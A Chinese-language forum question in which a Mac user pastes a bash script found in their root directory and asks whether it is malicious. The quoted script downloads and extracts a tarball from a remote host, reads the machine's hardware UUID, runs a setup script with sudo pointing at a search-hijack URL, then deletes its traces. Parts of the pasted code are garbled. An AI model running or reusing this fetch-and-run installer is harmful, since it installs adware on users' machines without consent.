在我的根上找到一个文件不确定它是什么

Question

我使用了一个终端，在根目录中找到了这个名为"file"(bash(的代码文件。这个文件坏了吗？我不知道它在做什么，它吓坏了我。

func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz 
"http://c.onlinemacupdate.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, 
line, """); printf("%sn", line[4]); }')
COUNTRY="US"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] 
|| [ "$COUNTRY" == "NZ" ]
|| [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] 
|| [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]
|| [ "$COUNTRY" == "DE" ]; then
sudo ./setup.sh "http://www.searchitdown.com/?

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
f unc_taaVqst &
} 
func_4 &

这个代码在做什么？这不好吗？
